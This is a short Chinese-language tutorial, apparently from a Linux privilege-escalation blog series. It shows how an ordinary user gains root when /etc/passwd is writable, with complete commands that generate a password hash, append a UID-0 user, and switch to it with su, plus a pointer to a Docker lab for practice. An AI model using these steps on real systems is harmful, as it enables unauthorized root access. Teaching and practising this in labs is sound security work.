Linux提权系列 - 可写的系统文件

163 阅读1分钟

概述

在Linux环境下,某些系统文件只应该允许拥有root权限的用户进行修改,当由于不正确的设置使得这些文件对普通用户可写时,那么普通用户就可以通过修改这些文件而进行提权。

示例

/etc/passwd文件包含当前系统中所有用户的基本信息,当用户可以修改该文件时,通过以下步骤可以提权。

首先选择一个密码(例如superman),并对其加密

test@68250f8b1d1d:~$ openssl passwd superman
$1$u1UR7D3z$Zp7IvFndtV5XH/tYozXi6.

然后在/etc/passwd文件中添加一个具有root权限的新用户(例如root2), 并使用以上生成的加密密码

test@68250f8b1d1d:~$ echo 'root2:$1$u1UR7D3z$Zp7IvFndtV5XH/tYozXi6.:0:0:root:/root:/bin/sh' >> /etc/passwd
test@68250f8b1d1d:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
test:x:1000:1000::/home/test:/bin/bash
root2:$1$u1UR7D3z$Zp7IvFndtV5XH/tYozXi6.:0:0:root:/root:/bin/sh
test@68250f8b1d1d:~$

随之使用su成为root2用户并输入已知的密码,以获得root权限

test@68250f8b1d1d:~$ su root2
Password:
# id
uid=0(root) gid=0(root) groups=0(root)

实战

下面的Dockerfile提供了一个基于Ubuntu的试验环境,可用于复现以上的提权过程。

github.com/wuzhang72/L…